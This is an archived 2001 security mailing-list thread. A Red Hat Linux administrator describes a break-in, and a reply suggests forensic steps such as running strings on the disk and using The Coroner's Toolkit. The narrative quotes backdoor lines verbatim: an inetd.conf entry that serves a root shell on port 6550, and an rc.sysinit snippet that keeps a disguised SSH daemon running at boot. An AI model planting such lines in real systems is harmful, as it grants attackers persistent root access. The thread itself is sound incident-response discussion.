If the only ports allowed through the router were those listed, then the line added to inetd.conf "6550 stream tcp nowait root /bin/sh sh -i" won't be of any use to them. The names of the binaries relplaced are consitant with a number of root kits around, if they don't work properly they're probably from the t0rnkit, as this kit has binaries compiled against libc5 which segfault on rh6.2. As far as the binaries in /bin being the same, did you check them with md5sum or rpm? As a quick and dirty way to see what you can find out about the attack, run (as root) strings on the partition that the log directory is on, i.e strings /dev/hda7 | more , and see what's there, you could also grep for in.ftpd (which is likely how they broke in, as bind exploits against the version from the rpm's that came with rh6.2 tend to fail due to compiler options used, I think..), anyhow, try this "strings /dev/hda7 | grep in.ftpd | more" , and look for connections around the times of the breakins, you may well find who did it. You could also replce in.ftpd with a date string such as 'May' or something to look for all log entries from that day, ie " strings /dev/hda7 | grep May | more ". If you really want to know what happened, download The coroners toolkit and use that, you'll likely find out more than you thought you could, it's very supprising sometimes how much data remains on a disk after it's deleted. I once took a Hard drive out of a Gauntlet firewall on BSDi and used it in a test machine running rh6.2, which I installed a number of times during the testing. I later found, while messing around with tct, big chunks of log files from the Gauntlet, even though it had been formated a number of times with a different filesystem.... Sorry I don't have more time to help. Elliot -----Original Message----- From: Lisa Bogar [mailto:lbogarat_private] Sent: Thursday, 17 May 2001 1:35 To: security-basicsat_private; forensicsat_private Subject: Red Hat compromise I received this message from a consultant in town on Friday. I work at the University and he was looking for some suggestions. Thought someone might be able to shed some light on how the person got into the box and also how one might monitor this compromise. I have already told him to reinstall. Thanks, Lisa Here is the chronology I was given. Lisa, Here is a long winded chronology of our little computer break in. Thank you for your help. Mack On Monday, May 7 at 1:30 AM my client's computer was broken into. Our system is a Red Hat Linux v6.2 kernel version 2.2.14-5.0. It was a fairly standard installation with HTTP, FTP, SMTP, IMAP, and NNTP, and other standard INET services. The system was placed behind a FlowPoint FP2200-22 SDSL router/firewall with NAT. The ports allowed through the router were 21 (FTP), 23 (Telnet), 25 (SMTP), 53 (DNS), 80 (HTTP), 110 (POP3) and 143 (IMAP). Internally, we use Samba for file and printer sharing. 1:28 AM The first indication of infiltration is the following line was appended to the file /etc/inetd.conf: 6550 stream tcp nowait root /bin/sh sh -i which provides a nice back door and indicates perpetrator had root access. 1:34 AM The /bin/.../psybnc directory was created and the psybnc program files (1.9MB) were downloaded. That directory name is three dots (...), which makes it a hidden directory. Psybnc is an internet chat program. 9:44AM The files /bin/trmzbsh and /usr/sbin/nscdx were added to the system. Trmzbsh is a bash shell and nscdx is a ssh (secure shell) daemon. In addition, the following was added to /etc/rc.d/rc.sysinit so that a secure shell access is maintained even on reboot (it has nothing to do with being a name server cache that I can find). # Name Server Cache Demon if [ -x /usr/sbin/nscdx ]; then /usr/sbin/nscdx -q fi I never did notice the nscdx process running. The ps, top, and the ls, and find commands were broken. I noticed them being broken right away, but I was coding....and thats hard for me....and I HATE interruptions....and I just put it on the list of curiosities to solve later when I had time (or became interested). I did become curious on how they broke those commands because the executables in /bin were not changed. I still do not know because I started restoring the system. I do know that they created the directory /usr/share/locale/su/.back and downloaded the following files into it: secure, messages, wtmp, netstat, ps, pstree, top, ls, find, du, dir, and vdir. That directory is now missing, probably because of my actions during reinstallation the next day. 11:02AM Not satisfied, they came back. The psybnc program was probably not working for they downloaded the Eggdrop IRC Bot ("the most advanced IRC robot available") into the /home/orders/.../eggdrop1.4.3 directory (7.2MB). But worse, they commandeered our TCP connection and started a log file /bin/tcp.log which saved the time, machine name, IP address, login name, password, and other codes for every login of every user to every other system they connected to (e.g. for email). It even caught su's to other local users over a telnet session. I actually noticed them that time too. I was working on the system with 5 or 6 telnet sessions open and I got angry when I lost a couple of them because they 'froze'. But because that happens off and on anyway, I have learned to sit on my hands and quietly curse our good friends providing DSL service. This time it was a clue that was ignored...I HATE interruptions.... Other indications of our compromised network was that the computer did not show up on the other PC's Network Neighborhood, and connections to the IMAP mail server daemon failed. To the best of my knowledge, they haven't been back. But how would I know? nscdx/trmzbsh combo was the last thing I broke. I assume they had access to 24hrs of TCP activity and passwords. The targeted computer is not quite into production, so although it is being used, it is not an active machine and I had the leisure of being able to take the time to investigate system changes. After moving and removing their changes, I changed the line in /etc/inetd.conf to: 65500 stream tcp nowait root /bin/su su guest -c /usr/local/bin/oursh which executes a little script that sends me a page and then executes: export PS1='bash# ' exec /bin/sh -i which displays a prompt like they had. So now I get paged when they come back. So what? What am I going to do? Shut down the machine? If they are smart they won't, for I am sure I gave them enough clues that I was stumbling on to them. I tried to set up a sandbox for them using chroot and a restricted shell, but I cannot get that to work. I did it 10 years ago, but I can't do it today (!!). Another Unix had a tee command that had a -u (unbuffered) option so that I could: tee -u /tmp/keymon | sh -i and get a log of the keystrokes they feed us. But I can't do that anymore. Progress....... I find myself getting much more irritated when a person is running amuck on my system than I do combating a virus/worm. I originally thought this was a worm, but the difference in time between compromising /etc/inetd.conf and downloading psybnc is too long for a program. They were efficient, though. They have done this before. I think it is more than one person. The two chat programs could mean one person try try trying again, but I think its a buddy saying "No No, use this one". Most of the literature on security is on how to protect yourself, how to build walls. That's fine, I can do that (ugh), but once they are over the wall, how can we find out who they are and where they are located? If I do leave a hole in the wall, how can I restrict them and monitor what they try to do? I would like to get a name and address so I could turn them in to the authorities, but I would settle for any kind of evidence that would be worthwhile reporting. Have any suggestions? ********************************************************************** This email and any files transmitted with it are confidential and intended solely for the use of the individual or entity to whom they are addressed. If you have received this email in error please notify the system administrator, mailto:mswat_private Feel free to visit the Citadel Securix website! Click below. http://www.citadel.com.au **********************************************************************
This archive was generated by hypermail 2b30 : Thu May 17 2001 - 13:54:21 PDT